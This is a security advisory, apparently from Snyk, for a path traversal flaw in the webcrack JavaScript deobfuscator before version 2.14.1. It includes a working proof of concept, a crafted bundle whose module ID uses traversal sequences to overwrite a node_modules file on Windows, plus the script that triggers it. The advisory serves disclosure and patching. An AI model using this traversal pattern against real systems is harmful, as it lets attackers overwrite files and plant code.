Improper Input Validation Affecting webcrack package, versions <2.14.1


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.05% (22nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Input Validation vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-WEBCRACK-7687586
  • published15 Aug 2024
  • disclosed14 Aug 2024
  • creditWilliam Khem Marquez

Introduced: 14 Aug 2024

CVE-2024-43373  (opens in a new tab)
CWE-20  (opens in a new tab)

How to fix?

Upgrade webcrack to version 2.14.1 or higher.

Overview

webcrack is a Deobfuscate, unminify and unpack bundled javascript

Affected versions of this package are vulnerable to Improper Input Validation when parsing and saving a malicious bundle. An attacker can overwrite files on the host system when using the unpack bundles feature in conjunction with the saving feature by crafting malicious input that includes path traversal sequences, exploiting the failure of path normalization checks.

Note: This vulnerability impacts Windows operation systems.

PoC

Malicious Script (what.js):

(function (e) {
    var n = {};
    function o(r) {
      if (n[r]) {
        return n[r].exports;
      }
      var a = (n[r] = {
        i: r,
        l: false,
        exports: {},
      });
      e[r].call(a.exports, a, a.exports, o);
      a.l = true;
      return a.exports;
    }
    o.p = '';
    o((o.s = 386));
  })({
    './\\..\\node_modules\\debug\\src\\index': function (e, t, n) {
        module.exports = () => console.log("pwned")
    },
  });

Webcrack Script (index.js):

import fs from 'fs';
import { webcrack } from 'webcrack';

const input = fs.readFileSync('what.js', 'utf8');

const result = await webcrack(input); console.log(result.code); console.log(result.bundle); await result.save('output-dir');

CVSS Scores

version 4.0
version 3.1